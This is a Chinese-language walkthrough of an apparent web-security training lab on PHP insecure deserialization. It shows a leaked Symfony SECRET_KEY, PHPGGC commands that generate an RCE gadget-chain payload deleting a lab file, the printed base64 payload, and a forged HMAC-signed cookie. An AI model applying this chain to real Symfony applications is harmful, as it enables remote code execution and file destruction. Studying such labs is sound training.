# Insecure deserialization Lab6
本題是「基於序列化的 session cookie」機制,並用 簽章(HMAC) 保護,找出用的 PHP 框架,並用第三方工具產生可以執行 RCE 的「惡意序列化物件」,用從伺服器漏出的 `SECRET_KEY` 做出「合法簽章」的 Cookie,把這個 cookie 丟給網站 → 觸發 payload → 刪掉 /home/carlos/morale.txt。
一樣先進入網站並登入。

觀察 Cookie 一樣是 b64 編碼。


所以我們一樣嘗試改 Cookie 去看看,但這題會被擋下來,因為 Cookie 是用 SHA1 + HMAC 進行簽章的。

從錯誤訊息可以看到發現框架是:Symfony 4.3.6,但除此之外他這個網站進去時有洩漏 php 資訊。


往下滑就看到 SECRET_KEY(用來算簽章)。

```
zyh9qtm9vmvk0omng776oy2s6xxkerbx
```
這裡我們可以使用 PHPGGC 工具產生惡意物件,這個工具可以產生「框架專用的 gadget chain」,目的是讓你不需要自己寫 payload。

下載完後進去找我們去尋找目標:
```
./phpggc -l | grep Symfony
```
- `./phpggc -l`:列出 PHPGGC 支援的所有 gadget chains(每一條都能產生反序列化 payload)。
- `grep Symfony`:只顯示裡面屬於 Symfony 框架 的 payload gadget。

透過搜尋結果可以發現 RCE4 最符合我們現在的狀況(版本號),所以我們拿去產生一個惡意的序列畫物件並用 b64 編碼。
```
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w0
```
- `./phpggc`:執行 PHPGGC 工具
- `Symfony/RCE4`:使用 Symfony 的第 4 條 RCE gadget chain(支援 Symfony 4.3.6)
- `exec 'rm /home/carlos/morale.txt'`:執行這個 shell 指令(刪除 Carlos 的 flag)
- `-w0`:把輸出變單行

```
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
```
接著要做 HMAC 簽章並產生合法 Cookie 時的核心腳本:
我們先導入剛剛產出的 b64 編碼(惡意物件),這是從 `PHPGGC + base64 -w0` 得到的 payload(即:反序列化物件),以 base64 字串 形式保存,這會作為 cookie 中的 "token" 欄位內容,不能 decode。

這是從 `/cgi-bin/phpinfo.php` 洩漏到的環境變數 `SECRET_KEY`,這個 key 是伺服器用來「簽名」session cookie 的。

使用 PHP 內建的 hash_hmac 函數進行簽章:
- 演算法:SHA-1(題目已指定)
- 資料:你的 $object(也就是 token)
- 密鑰:伺服器使用的 $secretKey
結果就是合法的 sig_hmac_sha1 簽章。

把 payload 和簽章包成一個 JSON 格式 的結構。

最後全部合在一起:

再來我們把這個 php 變成可執行。

執行得到最後的結果。

```
%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22be9a22af6fe5e7be1016ba2e136864df7ce85637%22%7D
```
這一串就是我們要放在 session 的內容,所以拿去改並完成本題,這就是利用 PHP 反序列化漏洞 + 簽章繞過,實現遠端程式執行(RCE)來刪除指定檔案。

---